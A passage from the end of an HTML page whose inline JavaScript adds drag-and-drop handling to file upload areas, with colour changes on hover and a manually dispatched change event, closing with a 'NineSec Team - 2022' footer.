            area.addEventListener('dragover', (e) => {
                e.preventDefault();
                area.style.borderColor = '#3498db';
                area.style.backgroundColor = 'rgba(52, 152, 219, 0.1)';
            });

            area.addEventListener('dragleave', () => {
                area.style.borderColor = '#bdc3c7';
                area.style.backgroundColor = '#f8f9fa';
            });

            area.addEventListener('drop', (e) => {
                e.preventDefault();
                area.style.borderColor = '#bdc3c7';
                area.style.backgroundColor = '#f8f9fa';

                const fileInput = area.querySelector('input[type="file"]');
                fileInput.files = e.dataTransfer.files;

                // Trigger the change event manually
                const event = new Event('change');
                fileInput.dispatchEvent(event);
            });
        });
    </script>
</body>

</html>

NineSec Team - 2022